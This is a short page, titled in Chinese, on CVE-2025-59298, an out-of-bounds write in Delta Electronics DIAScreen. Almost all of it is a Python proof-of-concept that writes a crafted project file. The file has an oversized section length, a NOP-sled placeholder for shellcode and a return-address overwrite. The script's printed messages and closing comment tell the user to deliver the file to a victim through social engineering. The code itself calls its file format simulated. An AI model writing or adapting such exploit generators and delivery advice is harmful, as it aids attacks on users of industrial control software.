CVE-2025-59298：Delta Electronics DIAScreen文件解析越界写入漏洞

# CVE-2025-59298 - Delta Electronics DIAScreen OOB Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern. # A real exploit would require crafting a malformed DIAScreen project file. import struct import sys # Malicious DIAScreen file header simulation # The vulnerability is triggered when parsing specific file structures # without proper bounds checking, leading to out-of-bounds write. def generate_malicious_file(output_path): """ Generate a crafted file that triggers OOB write in DIAScreen. The file exploits lack of input validation during file parsing. """ # Normal file header (simulated) header = b'\x44\x49\x41\x53' # Magic bytes "DIAS" header += struct.pack('<I', 0x00010000) # Version # Malicious payload section - oversized field value # This triggers the out-of-bounds write condition section_type = struct.pack('<I', 0x0000000A) # Section type section_length = struct.pack('<I', 0xFFFFFFF0) # Intentionally oversized length # Shellcode placeholder (would be replaced with actual payload) # In a real exploit, this would contain position-independent shellcode # that executes in the context of the DIAScreen process shellcode = b'\x90' * 256 # NOP sled placeholder shellcode += b'\xCC' * 64 # INT3 breakpoints for debugging # Overwrite target - simulated return address overwrite ret_overwrite = struct.pack('<Q', 0x0000000140001000) # Target address payload = header + section_type + section_length + shellcode + ret_overwrite with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious file generated: {output_path}") print(f"[!] Deliver to target via social engineering") print(f"[!] User must open the file with DIAScreen to trigger exploit") if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'exploit.dia' generate_malicious_file(output) # Usage: python poc.py malicious_file.dia # Then deliver the file to the victim and wait for them to open it with DIAScreen.